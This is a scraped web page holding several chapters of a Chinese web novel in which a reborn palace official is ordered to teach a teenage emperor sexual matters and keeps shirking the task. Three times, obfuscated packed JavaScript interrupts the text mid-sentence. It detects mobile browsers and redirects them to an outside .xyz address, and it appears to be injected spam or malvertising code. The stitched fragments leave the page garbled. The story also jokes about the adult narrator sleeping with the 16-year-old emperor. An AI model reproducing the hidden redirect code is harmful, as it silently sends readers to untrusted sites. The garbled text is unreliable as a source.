;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252320|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你端水来擦!” 云黛说完直接往外跑,找到小福子就拉着他往外跑:“哪有水?快带我去打水!” 小福子一肚子雾水,但还是带着她去打水。 寝殿内,骆明烛张开五指,瞧着被云黛弄脏的手,视线转移到被她竖着从自己手里拿走的毛笔,眼底的探究意味更浓。 “这样拿笔……” 学过书法的人,怎么会这样拿笔。 云黛还不知道自己快被看穿了,她急急端着水盆往回跑,小福子在边上跟着,骂她:“你怎么这么不小心,两次把墨到陛下身上!” “别骂了别骂了,我怎么知道我今天这么笨!”云黛脚下冒烟,直接往寝殿里冲。 “你看着路!别绊倒了!” 云黛庆幸自己被提醒了,不然真得摔到。 她把水盆放在桌上,水溅出来,又洒湿了先前写的几张纸。 “陛下,我给你擦。”小福子给了她好几块帕子,让她自己擦,不帮她。 哼,小气鬼。 云黛拧干帕子,握住骆明烛的手就擦,她是没想到要温柔点的,刚搓了两下,墨渍是擦干净了,也把骆明烛手心擦红了。 他还痛得叫了出来。 哦哟,什么东西做的,这么容易擦红了皮,真娇气。 云黛本来想松手的,但见他疼得都掉眼泪了,想了想,把他的手捧到嘴边,呼了口气。 “痛痛飞。” 少年天子僵滞了片刻,猛地捏紧手,一把抽出来,垂下手,他蹙眉瞪着她,半天才说出一句话:“你刚才,在干什么?” 他这一系列动作看得云黛想笑,像是良家少女被揩油了,云黛发现骆明烛除了在学习方面反应迟钝,其他方面反应挺敏锐的。 他还在拿那种惊慌失措的表情看她,带上他眼尾的泪珠,看起来好娇啊。 怪不得这本小h文前期都是他被压。 这么娇,真的好好压—— 云黛猛地回神,古怪地看了骆明烛两眼,把水端出去倒了。她站在寝殿门口,往外一掀,脑子里还在想,不愧是小h文主角,弄地她也起了歪心思。 刚要回去继续教骆明烛练字,边上传来小福子的尖叫:“云尚仪!你怎么把水倒在陛下寝殿门口了!” 云黛:“不能倒吗?” 小福子:“你说呢!” 云黛看看干净地板上被自己泼出来的水渍,再一看小福子气得要吃人的模样,问系统:“我之前让你去地府找关系的事办得怎么样了?我现在可能要去投胎。” 系统:“还没办好呢,宿主再撑一会吧。” 云黛想了想,觉得可以找骆明烛求情,他是皇帝他最大,这点小事他不至于计较。 结果骆明烛说:“母后教孤要遵守礼规,且云尚仪掌管尚仪局,更是明白礼规二字何其重要。” 云黛心梗。 怎么袁络仪教你你就学这么快,我教你你什么都学不会! 最终她被罚了一个月俸禄,外加打扫乾坤宫一个月。 云黛:你真狠。 没了工资谁还上班,她才不干,谁爱干谁干去吧。 “拿着。” 一道阴影闪过来,云黛往边上一躲,是把扫帚。小福子兴高采烈地指使她:“这个院子就交给你了,要是打扫得不干净,你等着被罚吧!” “呵呵。”云黛拿起扫帚,在院子里晃来晃去,这么干净,有什么好打扫的!还没工资!扫什么扫! “我的计划泡汤了。”云黛向系统哭诉。 系统:“你的计划处处都是漏洞。” 云黛继续哭诉:“这个小福子真坏,他要是不打小报告,我会被罚吗?” 系统:“这次不罚,你贿赂小福子被发现,也会被罚。” 云黛恨恨地踢了一下扫把:“还有骆明烛,他就不能装作没看见吗?泼个水而已,要不是为了给他擦手,我会把水泼在他家大门口吗?” 系统:“本来就是你把人家手弄脏了。” 云黛冲系统一声吼:“那还不是你要我走剧情接触骆明烛!我要是不走剧情直接跑路,我会碰到骆明烛吗?我会被罚吗?” 系统:“……” “我钱都没了。” 云黛越想越丧气,抱着扫帚蹲下来,埋头痛哭。 “你声音再大点,把袁络仪引来,你就要去地府排队了。” “排就排,我乐意,怎么滴。” 云黛一扔扫帚,站起来,嘴里的话一看到面前的人,全都没了。 她讪讪道:“陛下,您怎么来了?” 8. 第 8 章 少年天子关心道:“孤见尚仪大人时而开怀大笑,时而咒骂,怕大人出事,就来看看。” “我没事我没事。”云黛迅速捡起扫帚,做做样子扫了两下,嘿嘿一笑:“我好着呢。” “尚仪大人可是怨孤罚你?” 云黛面上笑嘻嘻:“没有,哪有,臣做错了事,该罚。”心里咒骂,怪你!怨你! 骆明烛敏锐地注意到她称呼的变化,装作没发现她迅速掩盖的埋怨眼神,小心试探:“那孤日后再找机会给大人补回来?” 云黛双眼一亮:“好呀好呀!”她冲后面的小福子笑了一下,看到小福子一脸震惊气恼,更开心了。 叫你打小报告。 云黛来了精神,认真扫地,尽管这地干净得一点灰尘都没有。 她刚想问什么时候补偿,补多少,一回头骆明烛已经走远了。 这人怎么走路没声的,还走这么快! “那我明天还用去教他吗?” 云黛很快得到了解答,小福子一脸不情愿地走过来,嗡嗡几声,云黛都没听清楚,冲他大声说:“你说什么,我没听清楚。” 小福子咳了一声,说:“陛下让你明日早些来,教陛下课程和练字。” 云黛哦了一声,想了想,又问:“那我今天什么时候能走?” 小福子扫她一眼,阴测测笑了:“劳烦云尚仪打扫到太阳落山吧。” 云黛:“……” 她冲小福子离开的背影踢了一脚,托着扫帚开始扫地。边扫边对系统吐槽:“大厂员工,沦为扫地工,还没工资!” 系统:“你自找的。” 云黛捏紧了手,忍住想揍系统的心,呵呵冷笑:“你信不信我现在就去告诉那个骆翼鸿,他以后会成为皇帝。” 系统无所谓:“你已经不按剧情走了,想说就说呗。” “……”云黛无力地继续扫地。 太阳还没落山,寝殿门就关了。小福子守在门口,盯着她。 云黛本来想摸鱼,想到自己现在是个传道授业的老师,摸过去问小福子:“陛下方才这段时间,可有好好练字?” 小福子本来想说陛下一直都在努力,但想起来这云尚仪是太后派来的,立刻打消了告知实情的心思,哼了一声,说:“你搅得陛下都没心思练字了。” 云黛一听那还得了,不练字,等会又说自己笨,又要在她面前哭,那哪行。 “你快叫醒陛下,现在还早着呢,睡什么睡!起来练字!” 小福子哎呦一声,气不过:“就不,我就不叫,你不是挺有胆子吗,你去叫!” “嘿,你是——” 云黛刚想说你是太监还是我是太监,转念一想不能这么说,要是又被罚,她就没钱了。 “那好吧,明日再练。” 小福子哼哼两声,忽然说:“陛下决定明日早些开始,云尚仪明日卯时就要来乾坤宫候着。” 云黛换算了一下时间,发现是早六,垮了脸,小声问:“能不能晚一点?” 小福子伸出一根手指头,在云黛面前一摇,说:“不能。” 云黛直接扭头,拖着扫把扫地。 等到太阳落山,小福子走到她面前,大发慈悲叫她可以走了。 云黛把扫把跟着它剩下的兄弟姐妹一起放,迈出乾坤宫,头也不会,直接回尚仪局。 可恶!被一个小太监算计了! “绿翘,可还有饭?” 她去厨房一看,幸好还有菜,绿翘给她盛了一碗,她直接坐在灶台边上吃,这饭没酒楼里的好吃。 还是很想外卖…… 她吃完,去洗漱了一下,回房间里直接往床上扑,累得一句话都不想说。 “宿主,你明天教骆明烛什么?” “富强民主文明和谐——教他什么叫和谐!” 云黛想到了可以报复的方法。 她要把这些东西全都写下来,让骆明烛背,背不会她就去袁络仪那告状! “系统,你给我说说,骆明烛怕袁络仪吗?” 系统:“原书里骆明烛一直都是背着袁络仪做这些事的。” “好好好,他要是背不出来,我就找袁络仪!”云黛现在已经忘了第一天来这的不安和忐忑,只想报复回去。 “不就是早六吗,我上高中的时候,五点都爬起来过!”云黛重新拾起斗志,叫系统给自己调个五点的闹钟:“明天我要拿出真本事!” 系统:“期待宿主的表现。” 云黛熄灭蜡烛,闭眼睡觉。一睁眼,正好凌晨五点。 可能是昨晚休息得早,还没做什么梦,精神很好。天还没亮,她洗漱好,特地给自己化了个妆,原身脂粉不多,也够她折腾自己了。 她把自己化得凶狠点,不笑的时候看着像是随时准备去杀人。照了好一会镜子,满意地点头。 吃饱后,满是信心地出发了。 云黛没想到这次不是故意整她,骆明烛是真心要学,把授课地点设在了书房,一桌子的纸张,边上还有好多策论书。 她看了眼,看不懂。 再一看自己整理的那几句话,尴尬了。 她过来时天已经亮了,但骆明烛没起。小福子让她等等,若是有什么需要,直接叫宫女便是。 云黛给了他一个笑脸,结果听到小福子嘴她:“今天看起来好凶,她不会是要凶陛下吧?” 摸了摸自己的脸,她阴笑一声,看起来凶就对了,今天她必须得震慑住他们! 等了有一个小时,骆明烛才来。这次有椅子,云黛就坐在椅子上等人,无聊的时候在纸上写写画画,看到人来,赶紧把纸塞到底下,要是被骆明烛看到她画小人,估计会被怀疑。 她站起身,面带微笑,朝身前位置一指,说:“陛下坐在这吧。” 骆明烛缓缓低头瞧她指的位置,再一看她笑得很违和的脸,说了句:“云尚仪脸是僵了吗?怎么笑起来看着很奇怪?” 云黛脸一僵,收了笑,早知道今天不化妆了。 “陛下,请坐。”她正色道,说完这句,自己坐下,谁知眼前的人不坐,盯着她的位置,说:“尚仪大人坐错位置了,那是孤的位置。” 云黛一看自己坐的位置,书册和笔墨纸砚放置的位置都是朝向自己,没错啊。 旋即她想到哪错了,赶紧站起来,让开道,不好意思道:“陛下,您请。” 骆明烛不动声色地扫过她的脸,走进去,坐下。 云黛再一看反正的桌面陈设,心道这才是自己的位置,哪有老师坐学生位置的。 她笑了笑,想起来骆明烛说自己笑得奇怪,又赶紧收了笑,正色道:“陛下,今日臣教您的这二字箴言,乃‘和谐’。” 这次直接在纸上写出来,递给骆明烛,说:“陛下先背会了,臣再解释是何意。”她不仅写了“和谐”两个字,还编了很多释意,一时半会背不完。 骆明烛似乎察觉到她是在故意刁难她,直接问她:“尚仪大人是不想教孤了,才会用此法劝孤放弃吗?” 云黛有这个意思,但没这么绝,她只是想先拖延一段时间,等想好了万全的法子,再正儿八经教他。总不能真听袁络仪的,教他春宫图里的东西吧? “臣没有,这些内容只有先背下来,才好理解,陛下不尝试,又怎么知道臣的方法有没有用呢?” 云黛说完,颇为自豪地对系统说:“你看,我这牛马当的可以吧,PUA都学会了。” 系统:“你高兴就好。” 少年天子说了一声好,拿着这张纸,开始默念。云黛也不是没事做,她在骆明烛背的这段时间里,把剩下的二十二字箴言都写出来了,边想边写,废了好一会功夫,等她写完,去看骆明烛时,他还在背。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252321|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “系统,过去多久了?” 系统:“两个多小时。” 云黛仔细回想自己写的内容,也没几句话啊,这么难背? 她本想问问骆明烛背到哪了,转念一想这么问就是在给他压力,还是不问了。什么都不干也无聊,她抽了一张纸,往边上挪,继续画小人。 她画得越来越投入,低着头,胳膊挡着纸,偷摸画。 骆明烛抬眼时,看到的只有她的脑袋。 她专注地画着什么,时不时碎碎念。衣袖全推在桌面上,丝毫看不出尚仪应有的稳重。 骆明烛轻轻敲了一下桌面,眼眸一转,看上去一直在背书,没看别的。云黛猛地一抬头,还以为自己被发现了,一看骆明烛还在背,满意地点点头,鼓励道:“陛下加油!” 骆明烛捏着纸页的手一动,差点将纸扯破。 他仰起脸,犹豫了一下,说:“这些太难了,孤背不下来。” 云黛一愣,凑过去看她写的内容,问:“哪里难?都很难吗?” 她的身子遮住了她手里的画纸,看不出她画的是什么。 骆明烛收回目光,指了一句话,说这里不懂。 云黛一看,这句话确实难,很多定语,这里还没有这样的词语,她只好一个一个地解释。到后来她说得口干舌燥,骆明烛还没明白。 她直直看着他,一下坐了回去,对着他这双充满疑惑和迷茫的眼,对系统说:“要不我还是教他云雨吧,你觉得呢?” 系统:“你终于想开了。” 云黛觉得这不是想不想开的问题,问题是这本书设定就是小h文,这就把骆明烛限定死了,除了这种事,他就不会学会! “你……”云黛尽量让自己说得委婉一点:“之前那些大儒教你的东西,你还记得多少?” 少年天子眨了眨眼,摇了摇头,说:“孤不记得了。” 云黛缓缓哦了一声,说:“挺好的,挺好的……”她撑着桌子站起来,袖子将她画小人的纸拂到地面,她没注意到。 “陛下,我现在有点心悸,我要回去缓缓。”她说完,掉头就走。 骆明烛没有拦她,只盯着她离开,没再看一眼她写的“治国理念”,起身要去别处时,瞥见地上掉的画纸,上头的简笔小人活灵活现,正是一个愁眉苦脸的老师,在训斥一脸迷茫的学生。 画纸被分割了好几块,画的全都是类似的内容。 骆明烛缓缓抬起头,再一看云黛离开的方向,无声嗤笑。 她真以为他笨得无可救药。 云黛就是这么认为的,她走出乾坤宫,想出宫散散心,她怕自己再待下去,会被闷死。 结果刚出乾坤宫,就被王嬷嬷拦住。 “太后有请,云尚仪随老奴走一趟吧。” 云黛:“系统,今天看黄历了吗?” 系统:“没有呢宿主。” 云黛笑不出来。她苦着脸跟在王嬷嬷身后,一看到袁络仪,莫名开始心虚。 “系统,你说这几天我也兢兢业业在教骆明烛,为什么我看到袁络仪还是觉得心虚呢?” 系统一语道破:“因为你教的不是袁络仪要你教的。” 云黛恍然大悟:“原来如此。” “这几日辛苦云尚仪了。” 云黛惶恐:“不辛苦不辛苦。”命苦。 “今日叫你来,便是想问进展如何了,皇帝是否学到了真本事。” 云黛真想问她,这算什么真本事? 她刚要糊弄过去,袁络仪声音忽然拔高,质问她:“哀家怎么听到,云尚仪教的不是哀家吩咐的?” 云黛:“!” “云尚仪是不想要你的脑袋了?敢背着哀家换了授课内容?” 云黛:“臣不敢——” 袁络仪撂了茶盏,凤眸睨视她:“你哪里是不敢,你敢得很!” 9. 第 9 章 “陛下,云尚仪被太后罚了!”小福子匆匆跑进乾坤宫,见着骆明烛伏案写着什么,心中着急,又不敢打搅,在边上焦急等待。 好一会,才听到骆明烛问自己:“太后怎么罚她的?” 声音很淡,随口一问。 小福子立刻说:“太后罚她在永寿宫门前连跪四个时辰,到子时才能走,还罚了她三月俸禄。”小福子话里满是对云黛的同情,“罚得比您还重!” 小福子等了会,都没听到骆明烛说话,抬起眼看去,少年天子手中笔不停,描摹着字帖,似乎不大在意。 “陛下,您不去求个情吗?” 骆明烛放下笔,将字帖提起,对着窗户透进来的光,欣赏了片刻,上头的字还是歪歪扭扭,看不出有什么进步。 他看了会,嫌弃地将字帖揉成一团,扔到桌上,这才看向小福子。 纤长手指屈起,敲击桌面,一下一下,一声一声,节奏缓慢,落到小福子耳里,叫他心莫名慌乱。 “孤为何要去?”骆明烛反问。 小福子张嘴,话刚要说出来,心中一惊,惊觉自己冒犯了。 “奴才多嘴,不该说这些,云尚仪犯了错,该罚。”他叹了口气,心想着云尚仪不过是在乾坤宫里洒了一盆水,也没必要被罚得这么重。 “不过太后确实严厉,不就是洒了盆水……”小福子瞄了骆明烛几眼,没敢再说。 骆明烛笑问他:“你觉得她是因为这事被罚?” 小福子点点头,有点弄不明白:“难道不是吗?” “笨。”骆明烛起身,走到小福子面前,敲了他脑袋,力道没收着,像是被石子砸到额头,疼得很。 小福子揉着脑袋,好奇问:“那是为什么被罚?”说着,他灵光一闪,知道为什么了:“是因为她没教好陛下!” 骆明烛笑着看了他一眼,离开书房。 小福子赶忙追上去,问:“陛下,奴才猜的对吗?” 骆明烛不回他,去了寝殿,与往常一样,回了寝殿就躺下休息,小福子见状识趣地退下,将门关上,收着。 “这一跪四个时辰,腿还能要吗?”他的身子哆嗦了一下,摇摇头庆幸道:“还是陛下好,以前我犯错,他都不怎么罚我。” 他左看看右看看,没看见有人,松了口气,在心里说:太后太可怕了,不仅对陛下很严,治下更严。 天黑时,小福子和另外一个小太监换了班,去吃饭。 饭吃进嘴里,再一看外头天乌漆嘛黑的,嘟囔一句:“也不知道她现在怎么样了。” 说着,他呸呸两声,没好气道:“谁叫你对陛下起那心思,该!” 被骂的云黛此刻还在跪着,已经饿得没力气了,直接坐在腿上,头都抬不起来。 永寿宫前人来人往,都只匆匆瞥来一眼,就快步离开,谁都不敢停留。被太后罚,谁敢求情,这宫里都是太后说了算,陛下都不敢顶撞,谁还敢和被罚的人接触。 有几个是和原身共事过的,见她被罚,心惊不已。云尚仪这是犯了什么错,竟然被罚着跪在永寿宫前? 云黛也想知道,不就是这几天没教那乱七八糟的玩意,有必要罚她跪这么久吗?还扣三个月俸禄,那她还拿什么贿赂小福子! 云黛咬牙:“系统,告诉我,原书里袁络仪有没有死!” 系统:“没有,活得好好的。” 云黛呵呵一声,这是什么鬼文,主角死了,配角一点事都没有! “我要举报,能不能下架这本,作者谁?我要给十条差评!” 系统:“你还是关心关心你自己吧,你再不教骆明烛,命真没了。” “呵。”云黛发出三分凉薄四分讽刺两分厌恶一分漫不经心的笑,“教,明天我就教。都已经死过一回了,还没尝过男大的滋味——” 云黛突然卡壳,问系统:“骆明烛多大来着?” 系统:“你忘了?过了生辰就满十六。” 云黛尴尬一笑:“那我睡他是不是犯法啊……” 她死的时候二十四岁来着,相差八岁,是不是有点不太好…… 系统:“……” “一般这个岁数的,都已经成婚生子了。” 云黛:“可怕,这么早,我还想快活几年。” 系统:“……” 它错了,它应该换个宿主,没见过话这么多还不干活的叛逆宿主。 云黛饿得身体打颤,脑袋发晕,坐都坐不住,想直接躺地上睡觉。要不是那王嬷嬷每隔一段时间就来监视她,她早就趴地上喘气了。 时间一分一秒过去,饿过头,已经感觉不到饿意了,她只想睡觉。脑袋垂下,被突然响起的敲击声惊醒,吓得魂都不在身上。 一睁眼,就看到永寿宫里的宫女在扶门栓,看到她清醒了,朝她说:“子时了,云尚仪回去吧。” 云黛眨了眨眼,抬着昏沉沉的脑袋,抬头看天,月亮已经跑到头顶了。 她慢吞吞地站起来,腿一软,差点没站稳。她在墙上靠了会,才扶着墙回去。 “系统,我想哭。” 系统震惊:“你怎么了?” “我好累,好委屈,我长这么大,我妈都没喊我跪这么久。”孤寂的身影走在这层层高墙围堵的长廊里,月光将她的影子拖长。 她想哭,但哭不出来,就是觉得心里难受。 “你再忍忍,完成任务,你就能投胎了。” 云黛:“……” “我现在死难道不能投胎吗?” 系统没敢说,所以没有回她这句话。 云黛没想到到了这还要熬到半夜才能回去睡觉,好在脑袋还在,她还能蹦跶几天。 后半段路,她基本上是爬着回去的,腿脚根本直不起起来,眼睛都睁不开,人虚弱得走路都觉得地在转,好不容易回到自己房间,直接趴床上不动,都不管衣服上都是灰尘。 她连门都忘了关,直接倒床上。 眼睛一闭,没过一会就睡着了。 “宿主?”系统喊了一声,没有回应,它就下线了。 云黛发烧了。 早晨一醒来,脑袋沉得像棉花泡了水,根本抬不起来。一张口,声音跟唐老鸭似的。 她摸着自己的喉咙,有点慌:“系统,系统,我的嗓子!” 系统上线:“你发烧了,你得吃药。” 云黛苦哈哈,更讨厌袁络仪了。她拖着自己的身体去找了绿翘,幸好醒的时间早,绿翘这会子有时间,不用去厨房干活。 “尚仪大人,您这是怎么了?” 云黛朝柳梢伸出求救的手,哑着嗓子说:“我病了。” 绿翘连忙给她倒来热水,急急忙忙跑开:“大人您等着,奴婢这就去请太医来。” 云黛捧着这杯热水喝,感觉自己得到了升华。突然就开始觉得饿了,喝完热水摸着去厨房,看看有没有吃的。现在天刚亮,厨房已经在准备吃食,但刚开始弄,没多少能吃的。 她盛了碗粥,喝的时候手都在抖。 “这是我这辈子喝过最好喝的粥。”幸好和系统说话不用发出声音,不然她嗓子就要废了。 “你好好完成任务,还能吃到更好吃的饭。” 云黛不信,系统在给她画饼。 喝完粥,趴在桌子上继续装死。绿翘找了一圈,才在厨房里找到她。 “尚仪大人,沈太医来了,您醒醒。” 云黛睁眼一看,喜极而泣,依着沈太医的话,把手伸出来给他把脉。脑袋昏沉沉的,还能想到一个问题:“你说这里治发烧,是不是开中药?” 系统还没回答,沈太医就给她瞧完了,直接道:“云尚仪这是操劳过度,又未及时休息好,着了凉,才发热。臣给大人扎几针,便能好。” 云黛默默收回了手,努力笑出来:“不,不必了吧……” 绿翘急急道:“那哪行,大人不扎针就好不了,严重了那就要遭罪。” 沈太医没有强求,让云黛自己决定。 云黛是不想被扎针的,电视剧里扎针,那么长一根,捻进去,跟拧螺丝一样,看着就疼。 “不能吃药吗?” 沈太医诧异:“只是小风寒,不必用药。” “哦。”云黛看了眼绿翘,一转头就头晕,还是扎针吧。 她看着沈太医拿出针灸包,老长的针拿出来,扎进来反而不是很疼。 “那我什么时候能好?” 沈太医边扎边说:“两三日便好。” 云黛听到他说这么快就能好,还挺高兴。没过一会,脑中灵光一闪,想到个主意。 “沈太医能否向太后说一声,就说我现在身子不大好,感了风寒,怕传给陛下,这几日就不去授课了。” 说完,一脸期待。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252322|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈太医却道:“尚仪大人病了,臣定是要告知太后的,至于授课,还得太后做决定。” 云黛收回笑,见他扎好了针,没再说话。计划泡汤,还是得去。这病怎么不重一点,严重到躺床上不能起的程度呢? 过了一会,沈太医把针拔了,叮嘱过后要回太医院,绿翘要送送他,被他拦下。 “尚仪大人,你现在怎么样?需要什么,尽管吩咐奴婢就好。” 云黛朝她笑了笑,说声谢谢,“我现在还饿着……” 反正都这样了,还装什么原身的性子,自己怎么舒服怎么来呗。 绿翘去蒸了两个馒头,给她拿了一碟小菜,在她边上候着。 云黛问她:“你吃过了吗?” 绿翘点头:“奴婢起来后就吃了。” 云黛放了心,继续吃,馒头不好吃,小菜好吃,她把馒头撕开,小菜夹在里头,这样吃比较有味道。 “大人,您多喝些水,润润嗓子。” 云黛接过杯子,说了声谢谢,让绿翘忙自己的去。吃一口馒头喝一口水,不由得感叹,被人服侍的感觉真好,怪不得有钱人请保姆。 吃饱了她回去继续躺着,反正每次都是小福子喊她去—— 云黛立刻从床上爬起来,望着外头悬挂的太阳,心惊。 “系统,小福子怎么还没来叫我?他不是说六点就要去骆明烛那?” 系统猜测:“可能是忘了?或者今日休息?” 云黛觉得是后者,她又倒了回去,说:“这骆明烛也不行啊,三天打鱼两天晒网,怪不得笨笨的。” 话音刚落,小福子声音就传进来。 “云尚仪,到时辰了,该去授课了。” 云黛:“我是乌鸦嘴,我不该说骆明烛。” 她拖着虚弱的身体,走到门口,靠在门框上,脸发白,唇无血色。 嗓子哑得像鸭叫:“公公,我今儿去不了了。” 小福子瞪大眼,震惊:“你嗓子怎么了?”他仔细打量云黛,想起昨日她被太后罚,再一看她这副样子,哎呦一声:“你这是病了?” 云黛艰难点头,虚弱得风衣吹就倒。 “劳烦公公与陛下说一声,我病了,怕传给陛下,这几日就不去了——” “你先歇着吧。”小福子又多看了她几眼,嘴里念叨着就走了。 云黛敷衍完,立刻精神,等小福子没影了,回了床上躺着。 “不用上班就是好啊。” 系统:“你好好休息吧。” 小福子快步回了乾坤宫,把自己看到的告诉骆明烛,“她看起来可难受了,嗓子哑得话都说不清楚。” 还添油加醋,故意往严重了说,看到云黛病了,他那会还有点幸灾乐祸,谁叫她带那污秽之物来见陛下,该! “你说,她这几日都不来了?” 小福子点头:“她自己说的。” 骆明烛瞧着她写下来的那些个治国理念,幽幽叹了口气。 “竟然病了。” 小福子在边上等着他吩咐自己。 “她也教过孤几回,算是孤半个老师,老师病了,孤自当去看看。” 小福子哎了一声,立刻去准备。 骆明烛将纸张叠好,带着,走出书房。 “她来不了,孤便去她那,授课,可不能断了。” 云黛正美滋滋听着系统读原书呢,听得正起劲,外头传来惊慌的声音:“参见陛下。” 她觉得自己幻听了,系统还在念,外面的声音听得不真切,她在床上僵着身子,仔细听外面的声音,忽然就没声了。 她放松下来,果然是自己听错了。 结果躺回去没几秒,门开了,走进来一身穿黑绸缎镶金边的少年。 他担忧的眸光投过来,诧异道:“小福子与孤说,云尚仪病了?” 云黛看看现在的自己,在床上翘着二郎腿,裤腿垂到膝弯,小腿肚都露出来了。坏了,今天穿袜子没把裤子煞进去。 不过现在问题应该不是煞裤脚,而是被人看到她这副吊儿郎当的样子,而且刚才还说自己病了不能去授课…… 云黛缓缓垂下腿,坐起来,再站起来,尴尬还心虚:“陛下怎么来了?” 骆明烛从进来时,就看到她裸露的小腿,再一看到她面上十分灿烂的表情,眸色幽深。 “孤不能来么?” 10. 第 10 章 云黛尴尬,赶紧说几句好听的哄他:“能!当然能!皇宫里陛下哪不能去,哪都能去!” 说得太激动,嗓子喊破了,本就哑了的嗓子雪上加霜。 小福子在后头瞪了她一眼,嗓子都成这样了还拍马屁呢。 “陛下……”云黛清了清嗓子,喉咙又痒又干,想喝水,她还记着自己面前是个皇帝,不能表现得太散漫,只好忍着。 “云尚仪好像病得很重,嗓子都哑了。” 少年天子关心的声音响起,云黛趁势点头,刚想说这几天就不去教那些没用的东西,就见骆明烛拿出一沓纸,展开后,看见了自己写的字。 随后她就听到这人说:“孤知道云尚仪病了,想到尚仪大人应是不方便来孤这,便带着你上次写的东西来此,这样你就不用去孤那,直接在这便可教孤。” 云黛:“……” 她跟系统蛐蛐:“你觉得他是不是有点,额……谁会特地在老师是生病的时候还跑到老师家里,要老师辅导他啊。” “神经吧。” 系统:“骆明烛如此好学,你不应该高兴吗?” 云黛:“要是他能干倒袁络仪称霸皇宫保我不死,我就高兴。你看他那单纯的样,一到袁络仪面前,什么小心思都被看穿了,他能吗?” 系统:“你之前不是还想教他,让他变厉害?” 云黛哦了一声,随即说:“那不是我说的,昨天的我已经不是我。” 系统没回她了。 云黛朝骆明烛努力笑了一下,说:“陛下,臣嗓子,说话——”她指了指自己的嗓子:“不行,痛。”还想喝水,脑袋还晕乎乎的,要不是他突然来,这会子正高高兴兴躺床上美滋滋听系统念书呢。 “孤也想到了这点。”少年天子很是真诚地望着她,小福子此时走上前,将带来的纸张和笔墨放到桌上,特地朝云黛咳了一声。 “孤带来了纸,云尚仪只需写下便可。” 云黛觉得他可真是太聪明了,聪明过头了,他是真好学,还是笨得不知道体谅人啊! “那上次……”一句话还没说完,嗓子就劈叉了,云黛咳了好几声,再也忍不住,自己去倒水喝,水是凉的,她想喝热水。 她抬头望骆明烛,想说自己去厨房热水,想了想,还是拿起笔,默写了一首诗,交给他,故作高深道:“如果你只靠自己就能参悟这诗的内涵,你就厉害了。” 骆明烛垂眸,扫过她写的内容,眼底闪过一丝诧异。 再抬头看去时,脸上瞬间换上了疑惑的表情:“孤看不明白。” 云黛露出笑,看不懂就对了,要是给你看懂了,我怎么摸鱼。 “陛下先看着,自己参悟。”说着,她灵机一动,想了个借口:“陛下可口干了?我去给你沏壶茶?” 说出来是个问句,但根本不想得到骆明烛回答,她直接掉头去厨房。说了这么久话,浑身出汗,嗓子疼得跟刀割喉咙一样。 她一走,房间里安静下来,小福子立刻说:“云尚仪这是不想教陛下吧,故意为难陛下。” 骆明烛没有说话,他只看她写的诗。 人笔下写的文字很多时候与当时的心境关联,而她写的这首,字里行间里全都是对权力的讽刺,说他无能,权力被架空,后宫干政,结尾还有对他苦口婆心的劝诫,让他早日开窍,夺回实权。 面上浮现冷笑,在云黛眼中,一直都是单纯好骗的少年天子,此刻戾气横生,捏着这张纸,问小福子:“你也觉得孤愚笨?” 小福子连连摇头,恨恨出声:“那是太后不愿意花费心思教陛下,陛下幼时可聪慧了,别的皇子都比不上陛下。” “太后每次叫来的太傅都很不耐烦,根本不愿意耐心教陛下,要是陛下能有个好老师,也许就不会有云尚仪的事儿了。” 刚喝完热水一身舒畅的云黛端着茶壶走到门口,就听到小福子说话,她没进去,在门口继续听。 “也是孤愚笨,孤学不会,他们自然就没有耐心。” “不是的陛下!陛下很聪明!” 小福子说骆明烛聪明的语气是真的觉得骆明烛聪明,比云黛说的真诚多了。 云黛本来想进去,听到小福子的话,气了。 “本来沈太傅很喜欢陛下的,若不是太后那时将您关着,沈太傅以为您不守信用,不再教您,后来的太傅都没有耐心了……” 云黛气急,还带这样的?袁络仪是后妈吗?居然这样对骆明烛? “系统,书里有没有说骆明烛的背景故事?人生轨迹?” 系统查了一下,说没有。 “不行,我觉得袁络仪不是个好的,不然我们还是重新举起夺权大旗,辅佐骆明烛上位,我当他军师!” 系统:“你会被当成叛党抓起来的。” “那怕什么,左右不过都要去投胎的,要是骆明烛成功,我还能多活好几天,总好过被袁络仪罚。” 系统忽然冒出一句:“要是骆明烛知道你是袁络仪派来教他那东西的,他会不会把你当成是和袁络仪一伙的?” 云黛好笑问系统:“你问我?我怎么知道?我又不是土著,你个系统都不知道,我怎么知道。” 她说完直接走进去,把茶杯放下,倒了一杯茶,递给骆明烛,眼里冒光,直勾勾盯着他。 小福子在后面越看越不对劲,挡在骆明烛面前,瞪着云黛:“你要干什——” 被云黛一把推开,往边上踉跄了两步,一脸震惊,云尚仪不是病了,力气怎么这么大? 云黛举着茶杯,语气激动:“陛下,臣有话要说!” 此刻云黛觉得自己像是历史书中,那些个向皇帝献言进策的大臣,一想到自己要说的,格外激动。 “云尚仪请说。” 